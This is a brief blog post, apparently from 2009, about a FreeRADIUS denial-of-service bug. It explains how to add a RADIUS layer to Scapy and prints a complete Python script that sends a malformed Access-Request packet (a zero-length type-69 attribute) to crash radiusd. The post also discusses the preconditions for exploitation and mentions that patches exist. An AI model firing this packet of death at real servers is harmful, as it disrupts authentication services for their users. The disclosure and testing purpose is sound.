Earlier today, while reading through Full Disclosure, I came across something interesting: a Freeradius DoS bug. This piqued my interest as I’m currently experiencing _something_ that’s periodically knocking over radiusd. Furthermore, the radius server in question talks to a router with problematic L2TP tunnels (caused by a software bugs in L2TP sequencing on the Telco router on the other end…their vendor has confirmed the problems)

Time to create the packet of death. Scapy doesn’t appear to have a layer for RadiusAttributes yet, thankfully it IS in their Trac.

So, download the layer to scapy/layers, ensure that it imports the required items:
import struct
from scapy.packet import *
from scapy.fields import *
from scapy.layers.inet import UDP

from scapy.layers.radius import Radius
Add “radiuslib” to the load_layers array in config.py, and we’re ready to go:
#!/usr/bin/env python
# FreeRadius Packet Of Death
# Matthew Gillespie 2009-09-11
import sys
from scapy.all import IP,UDP,send,Radius,RadiusAttr
if len(sys.argv) != 2:
print “Usage: radius_killer.py \n”
sys.exit(1)
PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \
Radius(code=1,authenticator=”\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99″,id=180)/ \
RadiusAttr(type=69,value=”",len=2)
send(PoD)

Interestingly, one doesn’t need a shared key to send the packet of death, as you can tell the authenticator for the Access-Request packet is pulled out of thin air.

I’m assuming that most people iptable off access to their radius servers, so playing whack-a-mole with a provider probably isn’t that do-able. Beyond that, to even come close to possibly exploiting this, you need to be listed in clients.conf – so there’s already that level of trust. Correct me if I’m wrong. Either way, updated packages are available.

source : www.braindeadprojects.com